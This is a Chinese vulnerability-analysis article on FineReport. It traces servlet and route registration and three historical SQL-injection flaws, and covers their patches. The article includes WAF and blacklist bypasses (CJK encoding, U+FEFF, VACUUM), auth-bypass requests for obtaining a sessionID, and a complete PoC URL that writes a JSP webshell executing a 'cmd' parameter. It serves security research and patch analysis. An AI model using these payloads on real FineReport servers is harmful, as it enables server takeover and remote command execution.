前言
本文首发于先知社区:https://xz.aliyun.com/news/91753
关于帆软报表的历史漏洞,网上文章比较散乱,本人在分析时也遇到了许多困难。
所以乘此机会,对帆软的历史漏洞做一个梳理,尽可能详细分析每一个漏洞,希望给想要审计的师傅一些帮助。
本文的目标是:
1、介绍帆软报表的项目结构,如何调试
2、分析路由注册逻辑
3、分析 /print/ie/pdf SQL注入漏洞
4、分析 /view/ReportServer SQL注入漏洞
5、分析 export/excel SQL注入漏洞
项目结构简析
通过官网可下载最新版本:https://www.finereport.com/product/download?_sasdk=fMzYxOTU3OA
补丁下载:https://help.fanruan.com/finereport/doc-view-4658.html

这里我选取了11.0.28-2024.7.23和11.5.4.1-2025.10.20两个版本
这两个版本的jar可以到我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/jars
先看日志:

再看其他:

bin:启动exe
jre:版本8u191
lib:设计器相关jar 版本更新会更新这个
plugins:插件
server:tomcat相关依赖
webapps/webroot/WEB-INF/lib:服务器相关jar,这个最关键,不同版本的漏洞就看这些
这里其实可以直接让Claude code分析。想让AI分析源码的话,把lib用jadx反编译得到源码即可。
调试教程
远程调试
bin/designer.vmoptions添加参数:

使用https://github.com/cwkiller/ClassLinefix 为WEB-INF下的jar添加行号信息,方便调试。
把服务器的jar和tomcat的jar都添加到库:


给com.fr.third.springframework.web.servlet.DispatcherServlet#doDispatch加断点,然后访问:http://localhost:8075/webroot/decision/system/info
能断住就可以。
版本区分
1、访问http://localhost:8075/webroot/decision/system/info

2、访问http://localhost:8075/webroot/decision/login,查看网页源代码

历史版本文档:
https://help.fanruan.com/finereport/doc-view-4658.html

Servlet注册逻辑
在分析漏洞时,经常涉及ReportServlet.java,于是想知道这个类是如何注册成为servlet,这样说不定能够完整知道项目中的所有路由。于是结合AI,开启Servlet注册逻辑的分析。
这里以ReportServer这个Servlet为例,讲一讲帆软是如何进行Servlet注册的。
servlet注册
com.fr.report.ReportActivator#start:

跟进com.fr.report.ReportActivator#initReportServlet:

箭头所指的部分,使用了ServletContext原生的方法进行了注册。
同时需要看看ServerConfig获取到的Name和Mapping:


这下就清楚了,这个Servlet的名字是ReportServer,对应的路由为/ReportServer/* 。
activator注册
不过现在有个问题,帆软启动的时候,是怎么确保调用一开始Activator的start方法,对每一个Servlet进行注册呢?
配置文件加载模块
来看com.fr.startup.FineWebApplicationInitializer#onStartup:

这个类实现了WebApplicationInitializer,会在Web容器启动时自动回调onStartup方法。跟进start:

一开始肯定还不是运行状态,所以会进入下面的executeStart,实际进入的是com.fr.startup.FineWebApplicationStartup#executeStart:

这里会获取要加载的服务模块,然后调用start,先看看是怎么加载模块的,跟进到com.fr.startup.FineWebApplicationStartup#getServerModule:

这里会进入if,跟进parseRoot:

这里我们就知道了,配置文件位于com/fr/config/starter/server-startup.xml。继续跟进parse,再跟进两次build,来到com.fr.module.engine.build.ModuleBuilder#build(com.fr.module.engine.build.config.ModuleConfig, com.fr.module.Module):

这里会获取配置文件中的activator属性,并通过createActivator方法,使用反射来获取activator实例:

而最后的buildChildren则会递归调用build,从而将activator都加载进去。然后返回FineModule。
现在来看一下配置文件:


能够看到,这里是有ReportActivator的。
start初始化
回到com.fr.startup.FineWebApplicationStartup#executeStart:

现在跟进start,这里需要跟进多个start,最后来到com.fr.module.engine.FineModule.FineModuleRunner#executeStart:

这里最终会调用到com.fr.module.engine.strategy.AbstractInvokeSubStrategy#start:

构造方法中的默认值是parent-first:

这里的doStart会调用到com.fr.module.engine.strategy.ParentFirstStrategy#doStart:

最终调用activator.start。
至此,servlet的注册流程分析完毕。所以,我们能够知道,配置文件中,activator属性中的类,在项目启动时,都会调用start方法。如果里面有注册servlet的逻辑,则会在应用启动时注册。
总结一下:
- Tomcat 启动 → 扫描 WebApplicationInitializer 实现
- Spring 初始化 → FineWebApplicationInitializer.onStartup()
- 模块框架启动 → FineWebApplicationStartup.start()
- 解析配置文件 → ModuleContext.parseRoot(“server-startup.xml”)
- 构建模块树 → ModuleBuilder.build() 通过反射创建 ReportActivator 实例
- 启动模块 → FineModule.start() → ParentFirstStrategy.doStart()
- 调用 Activator → ReportActivator.start() → initReportServlet()
路由分析
Servlet
紧接着上面的servlet分析。
上面我们知道了,一个servlet是怎么在帆软中注册的。但还是不知道所有的mapping映射关系。
其实想获取这个很简单。
只需要找一个有HttpServletRequest参数的方法,一般可以是doGet,doPost,handle,然后运行一下表达式,即可获取:


表达式:
1 | try { |
Dispatcher
在看export/excel SQL注入这个漏洞时,发现poc有两种url。
/webroot/decision/view/report 和
/webroot/ReportServer
这两个路由最终都会进入com.fr.web.core.ReportDispatcher#dealWithRequest。
现在来分析一下为什么,最后给出所有controller路由的映射。这里不涉及漏洞原理,只对路由进行分析。
/webroot/ReportServer
首先看第二个url,这个我们在servlet注册逻辑中分析过。访问/ReportServer/*时,都会转到ReportServlet处理:

由于ReportServlet只有service方法,所以最后会调用其父类BaseServlet进行处理,最终进入dealWithRequest:


/webroot/decision/view/report
看到com.fr.decision.base.DecisionServletInitializer#start:

这也是个activator,所以能在配置文件里找到,代表应用启动时会调用其start方法:

跟进箭头所指的代码,即startServlet:


能够看到,这里把spring的DispatcherServlet映射到/decision。那么/decision/* 中 * 的内容,应该就由DispatcherServlet处理,那就跟spring boot的处理逻辑一样了,就是先过interceptor,然后分发到对应controller。这里也解释了,为什么后面很多漏洞路由都是 /decision 开头
而为什么能转到对应controller,很简单,写在注解里了:

这里会一路handle,最后进入dealWithRequest:

到这里,就能够知道为什么两种路由最后会触发同一个漏洞了,因为最后调用的方法是一样的,都是com.fr.web.core.ReportDispatcher#dealWithRequest
可以在com.fr.third.springframework.web.servlet.DispatcherServlet#getHandler取出所有的映射关系:

用表达式导出为文本:
1 | try { |

另外,/webroot/ReportServer 在这里会更好一些,因为直接进入servlet,没有过interceptor,这样会少一些鉴权。
/print/ie/pdf SQL注入写文件
影响版本

漏洞分析
恶意表达式获取
用上面导出的controller映射关系搜索:

能够找到两个路由:
1 | {[/nx/report/v10/print/ie/pdf],methods=[GET]} ==> public void com.fr.nx.app.web.controller.NXController.pdfPrintForIE(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse) throws java.lang.Exception |
这里只有v9那个有漏洞,v10会对传入的sessionID校验,和最后的官方修复一样。

这里的HANDLER就是PDFPrintPrintForIEHandler,后续的this就是指这个类。现在跟进handle:

这里最终会进入最下面一行的handleRequest,继续跟进,来到com.fr.nx.app.web.v9.handler.handler.PDFPrintPrintForIEHandler#handleRequest:

var3是从请求包中取出的sessionID,经过多次拼接后,最后到了var9里,最终被TemplateUtils.render渲染。这个TemplatesUtils是帆软自己的一个模板渲染工具,这也是我们许多漏洞存在的根本。
因为帆软有许多自定义的函数,比如SUM、DATE,而这些函数,都能在模板渲染中被执行。而帆软提供了一个特别的函数——SQL:
https://help.fanruan.com/finereport/doc-view-846.html

在进行模板渲染时,我们可以使用${SQL()}的语法来执行SQL查询。而帆软默认存在以下数据库驱动:

在这个漏洞中,我们利用sqlite,因为帆软默认存在一个测试数据库,在/webroot/help目录下,其使用的就是sqlite:

以上就是漏洞的大致原理,现在看一下如何传入payload。

连续跟进getOrGenerateSessionIDWithCheckRegister,最终来到com.fr.data.NetworkHelper#getHTTPRequestEncodeParameter:

这里的var1是sessionID,var2是true。看一下框出来的两部分。
先跟进到com.fr.data.DefaultRequestParameterHandler#getParameterFromHeader:

从header中取出sessionID字段。
再跟进底下的checkURLDecode(var5),var5就是sessionID的值:

这里的decodeText很重要:

会进行一次cjk解码,这种解码实际上就是把字符从16进制转回来,只不过这里的16进制都是[41][42]这样的格式。cjk编码的本意是将汉字等非ASCII字符转换成16进制。
这个cjk编码对漏洞利用的帮助是:可以通过编码来绕过WAF检测。
这个绕WAF技巧在帆软里几乎都可以用,因为所有从请求包中获取参数的方法,大多都会调用到com.fr.data.NetworkHelper#getHTTPRequestEncodeParameter。
这个cjk绕过我最早是在Killer师傅的文章中看到(这个漏洞就是他发现的):
https://mp.weixin.qq.com/s/odnsC0RjgQGuAWKke3SOqA 文末有cjk编码脚本。
上面的checkURLDecode中,除了cjk解码,最后还会进行URL解码。而帆软的表达式函数中,又内置了DECODE,能够进行URL解码。这也能用于WAF绕过。
所以,可以通过先URL编码,再cjk编码的方式,尝试绕过帆软WAF。
到这里,我们就知道了sessionID的解析流程。回到一开始的handleRequest:

获取到的sessionID,经过一系列字符串拼接,最后进行模板渲染,从而触发SQL注入。
现在去yakit里试试,能不能实现延时。
1 | GET /webroot/decision/nx/report/v9/print/ie/pdf |
因为sqlite里没有能直接延时的函数,所以通过生成大随机二进制块来产生计算延迟。
为1时,耗时4ms:

为100000时,耗时34ms:

10000000时,直接变成了167ms:

数字再大一些,会直接报错。成功证明实现了SQL注入。
SQL注入写文件
上面的危害只是停留在了SQL盲注,现在来试试通过Sqlite写文件,达到写webshell的目的。
不过先来看看帆软SQL过滤机制。
第一处过滤
在com.fr.function.SQL#run断点:

第一处检测在dealWithParameters处,会开始处理sql查询语句,调用栈如下:
1 | SQL#run |
先说一下,第一处检测在漏洞利用过程中是不会触发的,不过还是讲一下,因为自己看的时候特别疑惑到底有几层检测,又在哪里,在什么情况触发。
dealWithParameters:

这里会清除语句中的注释符。然后进入analyze4Parameters:

由于var1为false,所以跟进框中的analyze4Parameters:

var0就是我们的sql语句。这里会做匹配,匹配 [? ?] 或者 ${} 。其本质是占位符,就跟mybatis里的 select * from users where name = ${name}一样,不过mybatis记得用 #{} 防注入。
可以看一下官方文档的介绍:https://help.fanruan.com/finereport/doc-view-846.html

回到dealWithParameters:
只有当执行的sql语句里有占位符时,才会运行到else中。然后在processParametersBeforeAnalyzeSQL处进行检测,跟进到com.fr.data.impl.escapesql.local.EscapeSqlLocalHelper#processEscape:

这里会对占位符中的sql语句检测。黑名单如下:


看到这里很熟悉,这不就是后台设置SQL注入的地方吗?

现在看第二处检测。
这里的检测点可以通过日志中的报错堆栈获取。logs/fanruan.log

在com.fr.cbb.dialect.security.JDBCSecurityChecker#checkQuery(java.lang.String, com.fr.cbb.dialect.security.element.InsecurityElement[])处打断点:

先看removeSpecialCharacters,ignoreQuotesAndNotes会移除引号内的字符。比如where name=’any’会变成where name=。另外里面的isSpecialCharacter方法也很关键:

这些特殊符号会被移除。
接着进入check:

黑名单:

跟进probe:

这里检测语句中有没有包含” drop “,注意,关键词前后有两个空格,很重要,是后面绕过的基础。
那么,怎么这些黑名单是怎么加载的,往前看调用栈:


在InsecurityElementFactory的静态代码块中设置的,同时还设置了JDBC URL的关键词黑名单,同时也针对不同的数据库,设置了特有的黑名单。只不过这里传入的dbType为空,所以只会载入静态代码最下面的公共黑名单。
至此帆软SQL检测机制分析完毕。
SQL绕过
sqlite可以通过attach,create,insert的方式写文件。但是怎么绕过黑名单?
这里参考y4attack博客中的技巧:
当sqlite语句中的第一个字符为U+FEFF(URL编码对应%EF%BB%BF),在执行时会被移除。
于是可以通过这种方式绕过,因为检测是检测 “ attach “,需要前后有空格才能检测到。
POC
最终poc:
1 | GET /webroot/decision/nx/report/v9/print/ie/pdf |
还需要载入jsp解析器:

1 | GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class |


官方修复

会对sessionID校验,不允许传入恶意的了。
同时,在sql语句去除特殊符号时,也考虑了 U+FEFF:

另外,官方的安全插件也有防jsp落地的保护,但是插件不会默认安装:

/view/ReportServer? SQL注入写文件
影响版本

11.0.1<=FineReport<=11.0.28
FineBI和FineDataLink根据更新日志翻了一下,下面是推断的版本:
https://help.fanruan.com/finebi6.X/doc-view-2355.html
https://help.fanruan.com/finedatalink/doc-view-751.html
6.1.0<=FineBI<=6.1.1 6.0<=FineBI<=6.0.18(6.0.*)
4.1<=FineDataLink<=4.1.11 4.0.1<=FineDataLink<=4.0.30(4.0.*)
FineDataLink文档没写更新时间,是通过历史版本里最早的版本来确定:

老版本离线文档的位置都在这里:

漏洞分析
先搜漏洞路由找处理类:


漏洞点很明显了,跟上面的原理一样,都是模板解析导致的SQL注入。
不过在参数解析上,还是有一些不同。
这里的getQueryString,是tomcat内置方法,直接不经解码获取GET中的参数。但我们知道,tomcat的URL中是不能传入一些特殊符号的,比如双引号和空格:

双引号可以用单引号代替,空格可以用注释符代替,但是如果sql语句里本身要用到引号的话,就没办法了。
这里就需要用到帆软自带的另一个函数了——DECODE:

这样就可以把sql语句中的特殊符号传入GET参数。
后面的sql注入写文件,和上面的漏洞就一样了。由于影响版本还比上面的更早,所以也sql黑名单也一样。都可以通过U+FEFF这个方法去绕。
POC
1 | GET /webroot/decision/view/ReportServer?${sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Ftest.jsp%27%20as%20test1%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20test1.exp%28data%20text%29%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20test1.exp%28data%29%20VALUES%20%28x%273c252052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b20253e%27%29%3B'),1,1)} |
然后通过/file加载jsp加载器。注意,如果要创建不同文件,as 后面的数据库名也要改成没出现过的。
官方修复
首先不对参数进行模板渲染:

对U+FEFF处理:

export/excel SQL注入写webshell
https://xz.aliyun.com/news/90947
https://mp.weixin.qq.com/s/628UNSos2lxNy5QUCLRznA
影响版本

漏洞分析
sessionID获取
此漏洞需要先获取一个sessionID。
直接访问漏洞路由(通过之前获取的映射文件搜索),返回401:

说明需要鉴权。查看日志,发现没有报错,那只能手动推测鉴权位置。由于访问的是一个controller,所以一定会经过interceptor,鉴权很有可能是在那边做的。
来到com.fr.third.springframework.web.servlet.HandlerExecutionChain#applyPreHandle:

这里能够看到所有的interceptor:
1 | com.fr.decision.webservice.interceptor.DeploymentInterceptor |
这里的鉴权在DecisionInterceptor,可以通过401来判断:

这里的目标是var6为true,那就得关注var5。跟进getRequestChecker:

这里会调用11个checker.acceptRequest,当accept时,就会返回该checker,随后回到DecisionInterceptor调用checkRequest方法。


com.fr.decision.webservice.interceptor.handler.DecisionRequestChecker#acceptRequest会检查调用的方法和方法所在的类,是否有TemplateAuth.class和CompatibleTemplateAuth注解,如果都没有就直接通过:

com.fr.decision.webservice.interceptor.handler.ReportNxAdaptiveRequestChecker#acceptRequest

这里只要没有CompatibleTemplateAuth注解,就是直接通过。
其他checker大家可以自行分析。
这里最终会返回ReportNxAdaptiveRequestChecker:

然后对sessionID进行校验。所以必须找一个地方生成有效的sessionID。
根据文章(https://xz.aliyun.com/news/90947),sessionID通过/webroot/decision/view/report获取,不过这个路由也有鉴权,得绕


文章的思路是在com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest返回true,然后让其checkRequest返回true,从而绕过鉴权。

这里会进入getTemplateId,最终到达analyzeTemplateID:

接下来的过程可以去看参考文章,已经写的很详细。
需要提一下,这四个参数,在新版本,大概是25年中之后,是不能有值的,不然会再次检查token。但是在更早一点的版本是可以的。在最新版本,11.5.5及之后,两种方法都没法获取sessionID了。
而文章sessionID的poc为:
/webroot/decision/view/report?op=getSessionID&reportlets=[{‘reportlet’:’/‘}]
但是较新一点的版本中不能有reportlets参数,所以文章里的方法在25年中之后就用不了。
下面介绍最新的,获取sessionID的方法,这是killer师傅文章中提及的:

先给出最终的poc,方便参考:
1 | GET /webroot/decision/view/report?op=getSessionID&viewlets=[{'reportlet':'/'}] |
能发现com.fr.decision.webservice.interceptor.handler.ReportGeneralRequestChecker#checkRequest始终返回true:

所以只要过acceptRequest就行,也就是过!this.containUniqueOpAndCmd就行:

看方法名就知道,得同时传入op和cmd才行,所以肯定返回false,取反成true,通过。
所以就能来到目标路由,最终执行到com.fr.web.core.ReportDispatcher#dealWithRequest:


这里能看出为什么要设置op=getSessionID。
跟进generateSessionIDWithCheckRegister:

var2不为null才能生成sessionID。
所以看WebletFactory#createWebletByRequest:

这一段的解析,https://xz.aliyun.com/news/90947 中的”条件4”段落也解释的很详细,这里不展开了。
最后还有一点需要补充,其实可以直接访问/webroot/ReportServer,最终也是执行到ReportDispatcher#dealWithRequest,而且不会经过interceptor鉴权,这点在路由分析的时候已经说过。
说句题外话。如果一开始就以/webroot/ReportServer获取sessionID会遇到一个问题。就是viewlets参数为什么要写成[‘reportlets’:’/‘],而不是只写 [] ?[‘reportlets’:’/‘]的形式,是在访问/webroot/decision/view/report的前半段interceptor过程中得出的。但如果直接访问/webroot/ReportServer,就没有这个过程。所以理应满足match即可:

但这样会空指针报错。我当时就无法解决这个问题。于是拿着报错和请求问AI:

也是得到了解决方法:

XML格式推导
SessionID获取完了,接下来开始分析这次SQL注入的点。
去官网找到漏洞路由:

在导出的映射关系中进行查找:

有两个符合的,这里选择下面那个GET方式的进行分析。
调试一下,跟进各种handleXXX后,最终来到com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle:

第一行验证刚刚获取的sessionID,第二行获取Calculator对象,这个对象就是帆软里专门用来执行表达式的,也是后面执行SQL语句的基础。接下来就会进入initCreator:

第一行读取__parameters__,这里直接传入 {} 即可,因为后面需要这个参数为空,才能进入表达式解析的过程。
getEntity这行很重要,是解析传入的xml的过程。
那么这里预期的XML格式是怎么样的呢?直接问AI试试(claude code + glm5):
1 | com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#getEntity中,会读取params参数,然后开 |
第一次给出的格式有问题,没有root节点:

第二次的提示词:
1 | > xml内容如下: |
第二次修改的还是有问题,Formula没法正常赋值,没把content写在Attribute标签里,导致Fumula对象没有content为空:
1 | <R class="com.fr.nx.app.web.handler.export.largeds.bean.LargeDatasetExcelExportJavaScript"> |

第三次提示词:
1 | 还是有问题,t="Formula"时,最后Formula对象的content是空字符串 |
最终给出的xml是能够满足要求的:
1 | <R> |

这个和参考文章里的有所不同,这里LargeDatasetExcelExportJS和Parameters为父子关系。
回到initCreator,接着跟进dealParam:


这里可以直接让var8为空,这样就一定进入表达式执行的if。要让var8为空,那var7就是空,var7就是我们传入的functionParams参数,它要为 {}
同时注意132行的,var18,容易看出,这里var18也要是null,所以var6最好也是空,而var6就是在initCreator里传入的__parameters__参数,所以这就是为什么上面说要传入 {}
总结一下,我们现在能够控制表达式的请求包大致长这样:
1 | GET /webroot/decision/nx/report/v9/largedataset/export/excel |
要注意,先前生成的sessionID是会过期的,所以最好每次发包都重新生成一个。
最后补充一个可以直接生成xml文件的方法。
这里直接利用帆软自带的com.fr.general.xml.GeneralXMLTools#writeXMLableAsString:
1 | import com.fr.base.Formula; |
写入webshell
之前通过U+FEFF的绕过已经被修复了,这里要介绍使用vacuum命令进行写文件。
在这之前,要知道新版本的黑名单中去除了一些关键词,看一下11.5.4.1(10.20号修复后)的关键词:

原本的create,delete,drop等都不在黑名单里了。
问一下AI,看看vacuum怎么用:

这里搬运一下killer师傅的payload:
1 | PRAGMA writable_schema = 1; |
前面四行:直接导出数据库,作为jsp解析的话,由于数据库中有很多特殊字符,会导致jsp无法正常解析,所以需要先清除数据库再写入。默认的FRDEMO是测试数据库,删除了也没事,但还是建议备份一下。在第一行加入备份语句即可:
1 | VACUUM INTO "frdemo.db.bak"; |
POC
1 | <R> |
但是很尴尬的一点是,我这里11.0.28版本会禁create,delete等,11.5.4.1不仅修复了最新的sessionID获取,又禁了vacuum。所以漏洞没法在本地复现。
官方修复
vacuum在最新版本的修复中被加入黑名单:

另外,关于sessionID:



会判断op是否为closesessionid或getSessionID,会判断是否请求的是 /decision,不是的话转发到/view/report。同时,checkRequest:

这个list不再为空,导致var9变成true,这个解析过程可以自行调试一下。
原本文章里https://xz.aliyun.com/news/90947 ,list是空的。
后记
由于篇幅和本人学习进度原因,这里还有几个漏洞没分析。
1、/remote/design/channel 反序列化 有三次绕过
绕过1:TreeBag + ClassComparator + VersionComparator + JSONArray 未知具体修复版本,反正V10最后一个版本已经修复-2024.3.19-10.0.19;V11-2024.7.17-11.0.28已经修复(非最早修复版本)
绕过2:HashMap + HashTable + UIDefaults$TextAndMnemonicHashMap + JSONArray V10全没修;V11-2024.7.17-11.0.28已修复(非最早修复版本)
绕过3:ImmutableSetMultimap + JSONArray V11-2025.3.31-11.0.32修复?
https://forum.butian.net/share/2806
https://xz.aliyun.com/news/14869
2、FVS插件的漏洞
3、几个任意文件读取漏洞
后面有空也许写有第二篇。
这次分析大概花费了一周多,对这种大型的系统,分析还是有很多不熟练的地方,后面要多多练习。
附录
主要记录一些官方文档的位置:
https://help.fanruan.com/finereport/doc-view-4833.html 安全漏洞声明
https://help.fanruan.com/finereport/doc-view-3930.html 设计器函数汇总
https://help.fanruan.com/finereport/doc-view-4699.html FineReport更新文档
https://help.fanruan.com/finebi6.X/doc-view-2355.html FineBI更新文档
https://help.fanruan.com/finedatalink/doc-view-751.html FineDataLink更新文档
参考
https://mp.weixin.qq.com/s/628UNSos2lxNy5QUCLRznA
https://xz.aliyun.com/news/14625